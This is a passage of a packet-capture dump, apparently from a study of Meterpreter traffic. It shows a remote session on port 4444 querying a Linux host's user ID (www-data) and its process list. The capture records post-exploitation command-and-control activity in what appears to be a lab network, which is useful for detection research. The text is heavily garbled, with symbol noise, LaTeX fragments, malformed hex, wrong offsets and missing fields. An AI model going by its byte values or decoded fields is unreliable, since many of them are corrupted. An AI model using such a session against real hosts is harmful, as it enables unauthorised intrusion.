0070 00 01 00 02 38 31 35 32 37 30 34 30 34 39 35 30
0080 35 35 34 35 32 30 37 37 32 34 31 32 36 33 36 34
                                                      5545207724126364
0090 35 36 39 35 00 00 00 00 0c 00 02 08 fc 00 00 03
                                                      5695.....
```

.

00a0 b9 00 00 00 0c 00 02 00 04 00 00 00 00

Frame 77: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 2459, Ack: 3767, Len: 0
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ..'oz...'....E.
0010 00 34 2f 77 40 00 40 06 f5 3e 0a 00 01 05 0a 00 .4/w@.@..>.....
0020 01 0a 11 5c d9 d2 14 78 31 85 06 18 ad 58 80 10 ...\.x1...X..
0030 00 2f 43 f7 00 00 01 01 08 0a 00 0a 6f 71 00 0e ./C......oq..

.b

0040 c8 62

```
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 2459, Ack: 3767, Len: 82
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000052 [Command length]: 82
   Type: 0x00000000 [Command type: Request]: 0
   Data: 00000021000100017374646170695f7379735f636f6e6669... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000021000100017374646170695f7379735f636f6e6669... [TLV]
   Command: 0x00000021 [Length]: 33
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 7374646170695f7379735f636f6e6669675f676574756964... [Value] stdapi_sys_config_getuid
Meterpreter protocol, TLV details
   Data: 000000290001000232343030313430303130393936383234... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 323430303134303031303939363832343433333030353733... [Value] 24001400109968244330057320014375
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                      ..'oz...'....E.
0010 00 86 2f 78 40 00 40 06 f4 eb 0a 00 01 05 0a 00
                                                       ../x@.@.....
0020 01 0a 11 5c d9 d2 14 78 31 85 06 18 ad 58 80 18
                                                       ...\...x1....X..
0030 00 2f dd 91 00 00 01 01 08 0a 00 0a 71 d4 00 0e
                                                       ./....q...
0040 c8 62 00 00 00 52 00 00 00 00 00 00 00 21 00 01
                                                       .b...R.....!..
0050 00 01 73 74 64 61 70 69 5f 73 79 73 5f 63 6f 6e
                                                       ..stdapi_sys_con
0060 66 69 67 5f 67 65 74 75 69 64 00 00 00 00 29 00
                                                       fig_getuid....).
0070 01 00 02 32 34 30 30 31 34 30 30 31 30 39 39 36
                                                       ...2400140010996
0080 38 32 34 34 33 33 30 30 35 37 33 32 30 30 31 34
                                                       8244330057320014
0090 33 37 35 00
                                                       375.
```

Frame 78: 148 bytes on wire (1184 bits), 148 bytes captured (1184 bits)

```
Frame 79: 182 bytes on wire (1456 bits), 182 bytes captured (1456 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 3767, Ack: 2541, Len: 116
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000074 [Command length]: 116
   Type: 0x00000001 [Command type: Response]: 1
   Data: 00000021000100017374646170695f7379735f636f6e6669... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000021000100017374646170695f7379735f636f6e6669... [TLV]
   Command: 0x00000021 [Length]: 33
   Type: 0x00010001 [Type: Response]: TLV TYPE METHOD
   Data: 7374646170695f7379735f636f6e6669675f676574756964... [Value] stdapi_sys_config_getuid
Meterpreter protocol, TLV details
   Data: 000000290001000232343030313430303130393936383234... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 323430303134303031303939363832343433333030353733... [Value] 24001400109968244330057320014375
Meterpreter protocol, TLV details
   Data: 00000016000104127777772d646174612028333329 [TLV]
   Command: 0x00000016 [Length]: 22
   Type: 0x00010412 [Type: Response]: TLV_TYPE_USER_NAME
   Data: 7777772d64617461202833332900 [Value] www-data (33)
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                      ..'.....'oz...E.
0010 00 a8 0e c6 40 00 40 06 15 7c 0a 00 01 0a 0a 00
                                                      ....@.@...|.....
                                                      ....\...X.x1...
0030   0a fe 16 a9 00 00 01 01 08 0a 00 0e ca c5 00 0a
0040 71 d4 00 00 00 74 00 00 00 01 00 00 00 21 00 01
                                                      q....!..
0050 00 01 73 74 64 61 70 69 5f 73 79 73 5f 63 6f 6e
                                                      ..stdapi_sys_con
0060 66 69 67 5f 67 65 74 75 69 64 00 00 00 00 29 00
                                                      fig_getuid....).
0070 01 00 02 32 34 30 30 31 34 30 30 31 30 39 39 36
                                                      ...2400140010996
0880
     38 32 34 34 33 33 30 30 35 37 33 32 30 30 31 34
                                                      8244330057320014
0090 33 37 35 00 00 00 00 16 00 01 04 12 77 77 77 2d
                                                      375.....www-
00a0 64 61 74 61 20 28 33 33 29 00 00 00 00 0c 00 02
                                                      data (33).....
```

00b0 00 04 00 00 00 00

Frame 80: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae) Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10 Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 2541, Ack: 3883, Len: 0 0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ..'oz...'....E. 0010 00 34 2f 79 40 00 40 06 f5 3c 0a 00 01 05 0a 00 .4/y@.@..<.... 0020 01 0a 11 5c d9 d2 14 78 31 d7 06 18 ad cc 80 10 ...\...x1..... 0030 00 2f 3e 6b 00 00 01 01 08 0a 00 0a 71 d4 00 0e

0040 ca c5

./>k....q...

```
Frame 81: 156 bytes on wire (1248 bits), 156 bytes captured (1248 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 2541, Ack: 3883, Len: 90
Meterpreter protocol, Command details here or in the tree below
   Command: 0x0000005a [Command length]: 90
   Type: 0x00000000 [Command type: Request]: 0
   Data: 00000029000100017374646170695f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000029000100017374646170695f7379735f70726f6365... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010001 [Type: Request]: TLV TYPE METHOD
   Data: 7374646170695f7379735f70726f636573735f6765745f70... [Value] stdapi_sys_process_get_processes
Meterpreter protocol, TLV details
   Data: 000000290001000238373634353439333636373735313131... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 383736343534393336363737353131313739373038323630... [Value] 87645493667751117970826093981709
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                      ..'oz...'....E.
0010 00 8e 2f 7a 40 00 40 06 f4 e1 0a 00 01 05 0a 00
                                                       ../z@.@.....
0020 01 0a 11 5c d9 d2 14 78 31 d7 06 18 ad cc 80 18
                                                       ...\...x1.....
0030 00 2f 26 61 00 00 01 01 08 0a 00 0a 75 af 00 0e
                                                       ./&a....u...
0040 ca c5 00 00 00 5a 00 00 00 00 00 00 00 29 00 01
                                                       ....Z.....)..
0050 00 01 73 74 64 61 70 69 5f 73 79 73 5f 70 72 6f
                                                       ..stdapi_sys_pro
0060 63 65 73 73 5f 67 65 74 5f 70 72 6f 63 65 73 73
                                                       cess_get_process
0070 65 73 00 00 00 00 29 00 01 00 02 38 37 36 34 35
                                                       es....)....87645
0080 34 39 33 36 36 37 37 35 31 31 31 37 39 37 30 38
                                                       4936677511179708
0090 32 36 30 39 33 39 38 31 37 30 39 00
                                                       26093981709.
```

```
Frame 82: 6572 bytes on wire (52576 bits), 6572 bytes captured (52576 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 3883, Ack: 2631, Len: 6506
Meterpreter protocol, Command details here or in the tree below
   Command: 0x0000196a [Command length]: 6506
   Type: 0x00000001 [Command type: Response]: 1
   Data: 00000029000100017374646170695f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000029000100017374646170695f7379735f70726f6365... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 7374646170695f7379735f70726f636573735f6765745f70... [Value] stdapi_sys_process_get_processes
Meterpreter protocol, TLV details
   Data: 000000290001000238373634353439333636373735313131... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 3837363435343933363637373531313739373038323630... [Value] 87645493667751117970826093981709
Meterpreter protocol, TLV details
   Data: 00000047400008ff0000000c000208fc000000010000000d... [TLV]
   Command: 0x00000047 [Length]: 71
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc000000010000000000010412726f6f74... [Value] PPP & PPProotPPP &/sbin/initPPP &/sbin/init
Meterpreter protocol, TLV details
   Data: 00000047400008ff0000000c000208fc000000020000000d... [TLV]
   Command: 0x00000047 [Length]: 71
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc0000000200000000000010412726f6f74... [Value] PPP & PPProotPPP & [kthreadd] PPP & [kthreadd]
Meterpreter protocol, TLV details
   Data: 0000004d400008ff0000000c000208fc0000000300000000d... [TLV]
   Command: 0x0000004d [Length]: 77
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc000000030000000d00010412726f6f74... [Value] 222 ♦2 222root222 ♦ [ksoftirqd/0] 222 ♦ [ksoftirqd/0]
Meterpreter protocol, TLV details
   Data: 0000004d400008ff0000000c000208fc000000040000000d... [TLV]
   Command: 0x0000004d [Length]: 77
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc00000004000000d00010412726f6f74... [Value] 222♠2 222root222♠[kworker/0:0] 222♠[kworker/0:0]
Meterpreter protocol, TLV details
   Data: 0000004f400008ff0000000c000208fc0000000500000000d... [TLV]
   Command: 0x0000004f [Length]: 79
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc000000050000000d00010412726f6f74... [Value] 222♦2 222root222♦[kworker/0:0H]222♦[kworker/0:0H]
Meterpreter protocol, TLV details
   Data: 00000049400008ff0000000c000208fc00000000700000000d... [TLV]
   Command: 0x00000049 [Length]: 73
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Meterpreter protocol, TLV details
   Data: 00000043400008ff0000000c000208fc000000080000000d... [TLV]
   Command: 0x00000043 [Length]: 67
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 000000c000208fc000000080000000d0010412726f6f74... [Value] 222♠2 222root222♠[rcu_bh]222♠[rcu_bh]
Meterpreter protocol, TLV details
   Data: 00000045400008ff0000000c000208fc000000090000000d... [TLV]
   Command: 0x00000045 [Length]: 69
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc0000000000000000000010412726f6f74... [Value] 222� 222root222�[rcuos/0]222�[rcuos/0]
Meterpreter protocol, TLV details
   Data: 00000045400008ff0000000c000208fc0000000a0000000d... [TLV]
   Command: 0x00000045 [Length]: 69
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc000000000000000000000010412726f6f74... [Value] PPP &
222root222  [rcuob/0] 222  [rcuob/0]
Meterpreter protocol, TLV details
   Data: 0000004d400008ff0000000c000208fc0000000b0000000d... [TLV]
   Command: 0x0000004d [Length]: 77
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Meterpreter protocol, TLV details
   Data: 0000004b400008ff0000000c000208fc0000000c0000000d... [TLV]
   Command: 0x0000004b [Length]: 75
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Data: 0000000c000208fc0000000c0000000d00010412726f6f74... [Value] □□□��□ □□□root□□□�[watchdog/0]□□□�[watchdog/0]
Meterpreter protocol, TLV details
   Data: 00000045400008ff0000000c000208fc0000000d00000000d... [TLV]
   Command: 0x00000045 [Length]: 69
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
   Meterpreter protocol, TLV details
   Data: 00000049400008ff0000000c000208fc0000000e0000000d... [TLV]
   Command: 0x00000049 [Length]: 73
   Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
```

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Data: 0000000c000208fc0000000e0000000d00010412726f6f74... [Value] 222 �2 222root222 �[kdevtmpfs]222 �[kdevtmpfs]
Meterpreter protocol, TLV details
      Data: 00000041400008ff0000000c000208fc0000000f0000000d... [TLV]
      Command: 0x00000041 [Length]: 65
      Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
      Data: 0000000c000208fc0000000f00000000000000010412726f6f74... [Value] 222�2 222root222�[netns] 222�[netns]
Meterpreter protocol, TLV details
      Data: 0000003f400008ff0000000c000208fc000000100000000d... [TLV]
      Command: 0x0000003f [Length]: 63
      Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
      Data: 0000000c000208fc000000100000000d00010412726f6f74... [Value] PPP � PPProotPPP � [perf] PPP � [perf]
Meterpreter protocol, TLV details
      Data: 0000004b400008ff0000000c000208fc000000110000000d... [TLV]
      Command: 0x0000004b [Length]: 75
      Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
      Data: 0000000c000208fc000000110000000d00010412726f6f74... [Value] 222 ♦2 222root222 ♦ [khungtaskd] 222 ♦2 [khungtaskd]
Meterpreter protocol, TLV details
      Data: 00000049400008ff0000000c000208fc000000120000000d... [TLV]
      Command: 0x00000049 [Length]: 73
      Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
      Data: 0000000c000208fc000000120000000d00010412726f6f74... [Value] 2020 & 2020root2020 & [writeback] 2020 & [writeback]
Meterpreter protocol, TLV details
      Data: 0000003f400008ff0000000c000208fc000000130000000d... [TLV]
      Command: 0x0000003f [Length]: 63
      Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
      Data: 0000000c000208fc000000130000000d00010412726f6f74... [Value] PPP � PPProotPPP � [ksmd] PPP � [ksmd]
Meterpreter protocol, TLV details
      Data: 00000043400008ff0000000c000208fc000000140000000d... [TLV]
      Command: 0x00000043 [Length]: 67
      Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
      Data: 0000000c000208fc000000140000000d00010412726f6f74... [Value] □□□�□ □□□root□□□�[crypto]□□□�[crypto]
Meterpreter protocol, TLV details
      Data: 0000004d400008ff0000000c000208fc000000150000000d... [TLV]
      Command: 0x0000004d [Length]: 77
      Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
      Data: 0000000c000208fc000000150000000d00010412726f6f74... [Value] 222♠2 222root222♠[kintegrityd]222♠[kintegrityd]
Meterpreter protocol, TLV details
      Data: 00000043400008ff0000000c000208fc000000160000000d... [TLV]
      Command: 0x00000043 [Length]: 67
      Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
      Data: 0000000c000208fc000000160000000d00010412726f6f74... [Value] 222♠2 222root222♠[bioset]222♠[bioset]
Meterpreter protocol, TLV details
      Data: 00000045400008ff0000000c000208fc000000170000000d... [TLV]
      Command: 0x00000045 [Length]: 69
      Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
      Data: 0000000c000208fc0000001700000000d00010412726f6f74... [Value] 222 �2 222root222 �[kblockd]222 �[kblockd]
Meterpreter protocol, TLV details
      Data: 00000045400008ff0000000c000208fc000000180000000d... [TLV]
      Command: 0x00000045 [Length]: 69
      Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
      Data: 0000000c000208fc000000180000000d00010412726f6f74... [Value] P22 $\phi$ P22rootP22 $\phi[ata_sff] P22 $
Meterpreter protocol, TLV details
      Data: 0000003b400008ff0000000c000208fc000000190000000d... [TLV]
      Command: 0x0000003b [Length]: 59
      Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
      Meterpreter protocol, TLV details
      Data: 0000004b400008ff0000000c000208fc0000001a0000000d... [TLV]
      Command: 0x0000004b [Length]: 75
      Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
      \texttt{Data: 0000000c000208fc0000001a0000000d00010412726f6f74... [Value] 222 § 222 root 222 § [devfreq\_wq] 222 
Meterpreter protocol, TLV details
      Data: 0000004d400008ff0000000c000208fc0000001c0000000d... [TLV]
      Command: 0x0000004d [Length]: 77
      Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
      Meterpreter protocol, TLV details
      Data: 00000045400008ff0000000c000208fc0000001e0000000d... [TLV]
      Command: 0x00000045 [Length]: 69
      Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
      Data: 0000000c000208fc0000001e0000000d00010412726f6f74... [Value] 222  222root222 [kswapd0]222 [kswapd0]
Meterpreter protocol, TLV details
      Data: 00000051400008ff0000000c000208fc0000001f0000000d... [TLV]
      Command: 0x00000051 [Length]: 81
      Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
      Data: 0000000c000208fc0000001f0000000d00010412726f6f74... [Value] 222♠2 222root222♠[fsnotify_mark]222♠[fsnotify_mark]
Meterpreter protocol, TLV details
      Data: 00000055400008ff0000000c000208fc0000002000000000d... [TLV]
      Command: 0x00000055 [Length]: 85
      Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
      Data: 0000000c000208fc0000002000000000000000010412726f6f74... [Value] 222� [222root222�[ecryptfs-kthrea] 222�[ecryptfs-kthrea]
Meterpreter protocol, TLV details
```

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Data: 00000047400008ff0000000c000208fc00000002c0000000d... [TLV]
     Command: 0x00000047 [Length]: 71
     Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
     Data: 0000000c000208fc0000002c000000d00010412726f6f74... [Value] 222♦, 222root222♦[kthrotld]222♦[kthrotld]
Meterpreter protocol, TLV details
     Data: 00000055400008ff0000000c000208fc0000002d0000000d... [TLV]
     Command: 0x00000055 [Length]: 85
     Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
     Data: 0000000c000208fc0000002d00000000000010412726f6f74... [Value] 2224 - 222root2224 [acpi_thermal_pm]2224 [acpi_thermal_pm]
Meterpreter protocol, TLV details
     Data: 00000049400008ff0000000c000208fc00000002e0000000d... [TLV]
     Command: 0x00000049 [Length]: 73
     Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
     Data: 0000000c000208fc0000002e000000d00010412726f6f74... [Value] 222♦. 222root222 ♦ [scsi_eh_0] 222 ♦ [scsi_eh_0]
Meterpreter protocol, TLV details
     Data: 0000004b400008ff0000000c000208fc0000002f0000000d... [TLV]
     Command: 0x0000004b [Length]: 75
     Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
     Data: 0000000c000208fc0000002f000000d00010412726f6f74... [Value] PPP ♦/ PPProotPPP ♦ [scsi_tmf_0] PPP ♦/ [scsi_tmf_0]
Meterpreter protocol, TLV details
     Data: 00000049400008ff0000000c000208fc000000300000000d... [TLV]
     Command: 0x00000049 [Length]: 73
     Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
     \texttt{Data: 0000000c000208fc000000300000000000010412726f6f74... [Value] $$ \texttt{PPP} $ \textbf{0} $$ \texttt{PPP} root \texttt{PPP} $ \textbf{0} $$ [scsi\_eh\_1] \texttt
Meterpreter protocol, TLV details
     Data: 0000004b400008ff0000000c000208fc000000310000000d... [TLV]
     Command: 0x0000004b [Length]: 75
     Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
     Meterpreter protocol, TLV details
     Data: 00000051400008ff0000000c000208fc000000360000000d... [TLV]
     Command: 0x00000051 [Length]: 81
     Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
     Meterpreter protocol, TLV details
     Data: 00000045400008ff0000000c000208fc00000004a0000000d... [TLV]
     Command: 0x00000045 [Length]: 69
     Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
     Data: 0000000c000208fc0000004a0000000d00010412726f6f74... [Value] 222�J 222root222�[deferwq]222�[deferwq]
Meterpreter protocol, TLV details
     Data: 00000055400008ff0000000c000208fc0000004b0000000d... [TLV]
     Command: 0x00000055 [Length]: 85
     Type: 0x400008ff [Type: Response]: TLV TYPE PROCESS GROUP
     Data: 0000000c000208fc0000004b0000000000010412726f6f74... [Value] P22 & Charger_manager] P22 & [charger_manager]
Meterpreter protocol, TLV details
     Data: 00000049400008ff0000000c000208fc00000007a00000000d... [TLV]
     Command: 0x00000049 [Length]: 73
     Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
     Meterpreter protocol, TLV details
     Data: 0000004f400008ff0000000c000208fc0000007d00000000d... [TLV]
     Command: 0x0000004f [Length]: 79
     Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
     Data: 0000000c000208fc0000007d000000d00010412726f6f74... [Value] 222♠} 222root222♠[kworker/0:1H]222♠[kworker/0:1H]
Meterpreter protocol, TLV details
     Data: 00000049400008ff0000000c000208fc0000007e0000000d... [TLV]
     Command: 0x00000049 [Length]: 73
     Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
     Data: 0000000c000208fc0000007e0000000d00010412726f6f74... [Value] 222♦~ 222root2224[scsi_eh_2]222♠[scsi_eh_2]
Meterpreter protocol, TLV details
     Data: 0000004b400008ff0000000c000208fc00000007f0000000d... [TLV]
     Command: 0x0000004b [Length]: 75
     Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
     Data: 0000000c000208fc0000007f0000000d00010412726f6f74... [Value] □□□♦ ···root ···◆[scsi_tmf_2] ···♦[scsi_tmf_2]
Meterpreter protocol, TLV details
     Data: 0000004d400008ff0000000c000208fc000000890000000d... [TLV]
     Command: 0x0000004d [Length]: 77
     Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
     Data: 0000000c000208fc000000890000000d00010412726f6f74... [Value] ★ ❖♦ ··root ··◆[jbd2/sda1-8] ··◆[jbd2/sda1-8]
Meterpreter protocol, TLV details
     Data: 00000055400008ff0000000c000208fc0000008a0000000d... [TLV]
     Command: 0x00000055 [Length]: 85
     Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
     Data: 0000000c000208fc0000008a0000000d00010412726f6f74... [Value] ★ ❖♦ ··root ··•♦[ext4-rsv-conver] ··•♦[ext4-rsv-conver]
Meterpreter protocol, TLV details
     Data: 00000062400008ff0000000c000208fc0000010f0000000d... [TLV]
     Command: 0x00000062 [Length]: 98
     Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
     Data: 0000000c000208fc0000010f000000d00010412726f6f74... [Value] ★ ♦ · · · root · · ◆ upstart-udev-bridge% · ◆ upstart-udev-
bridge --daemon
```

Meterpreter protocol, TLV details

Data: 00000070400008ff0000000c000208fc000001130000000d... [TLV]

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Command: 0x00000070 [Length]: 112
          Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
          systemd/systemd-udevd --daemon
Meterpreter protocol, TLV details
          Data: 0000005d400008ff0000000c000208fc0000015a00000011... [TLV]
           Command: 0x0000005d [Length]: 93
          Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
          --fork
Meterpreter protocol, TLV details
          Data: 0000003f400008ff0000000c000208fc0000016a0000000d... [TLV]
          Command: 0x0000003f [Length]: 63
          Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
          Data: 0000000c000208fc0000016a0000000d00010412726f6f74... [Value] 222 �2j 222root222�[iprt] 222�[iprt]
Meterpreter protocol, TLV details
          Data: 00000069400008ff0000000c000208fc000001750000000d... [TLV]
          Command: 0x00000069 [Length]: 105
          Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
          Data: 0000000c000208fc000001750000000d00010412726f6f74... [Value] 222 �2u 222root$22 �/lib/systemd/systemd-logind$22 �/lib/systemd/systemd-logind$22 �/lib/systemd/systemd-logind$22 �/lib/systemd/systemd-logind$22 �/lib/systemd-logind$22 $/lib/systemd-logind$22 $/lib/systemd-logind$22 $/lib/systemd-logind$22 $/lib/systemd-logind$22 $/lib/systemd-logind$22 $/lib/sys
systemd/systemd-logind
Meterpreter protocol, TLV details
          Data: 00000045400008ff0000000c000208fc0000018c0000000f... [TLV]
          Command: 0x00000045 [Length]: 69
          Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
          Data: 0000000c000208fc0000018c000000f000104127379736c... [Value] PPP & PPPPPSyslogdPPP & rsyslogdPPP & rsyslogdPPP
Meterpreter protocol, TLV details
          Data: 00000062400008ff0000000c000208fc000001a50000000d... [TLV]
          Command: 0x00000062 [Length]: 98
          Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
          Data: 0000000c000208fc000001a50000000d00010412726f6f74... [Value] 202 ♠ 20 → 2020root202 ♠ upstart-file-bridge%D2 ♠ upst
bridge --daemon
Meterpreter protocol, TLV details
          Data: 00000066400008ff0000000c000208fc000002880000000d... [TLV]
          Command: 0x00000066 [Length]: 102
          Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
          Data: 0000000c000208fc000002880000000d00010412726f6f74... [Value] ₽₽₽�₽ ₽₽₽root₽₽₽�upstart-socket-bridge'₽₽�upstart-socket-
bridge --daemon
Meterpreter protocol, TLV details
          Data: 00000057400008ff0000000c000208fc000002d30000000d... [TLV]
          Command: 0x00000057 [Length]: 87
          Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
           Data: 0000000c000208fc000002d3000000d00010412726f6f74... [Value] №20�2 2020root 2020�/sbin/getty"№ $\shin/getty" -8 38400 tty4
Meterpreter protocol, TLV details
          Data: 00000057400008ff0000000c000208fc000002d60000000d... [TLV]
          Command: 0x00000057 [Length]: 87
          Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
          Meterpreter protocol, TLV details
          Data: 00000057400008ff0000000c000208fc000002e00000000d... [TLV]
          Command: 0x00000057 [Length]: 87
          Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
          Data: 0000000c000208fc000002e0000000d00010412726f6f74... [Value] № ₽₽₽root₽₽₽♦/sbin/getty P₽ ♦/sbin/getty -8 38400 tty2
Meterpreter protocol, TLV details
          Data: 00000057400008ff0000000c000208fc000002e10000000d... [TLV]
           Command: 0x00000057 [Length]: 87
          Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
          Meterpreter protocol, TLV details
          Data: 00000057400008ff0000000c000208fc000002e80000000d... [TLV]
          Command: 0x00000057 [Length]: 87
          Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
          Meterpreter protocol, TLV details
          Data: 00000052400008ff0000000c000208fc000003140000000d... [TLV]
          Command: 0x00000052 [Length]: 82
          Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
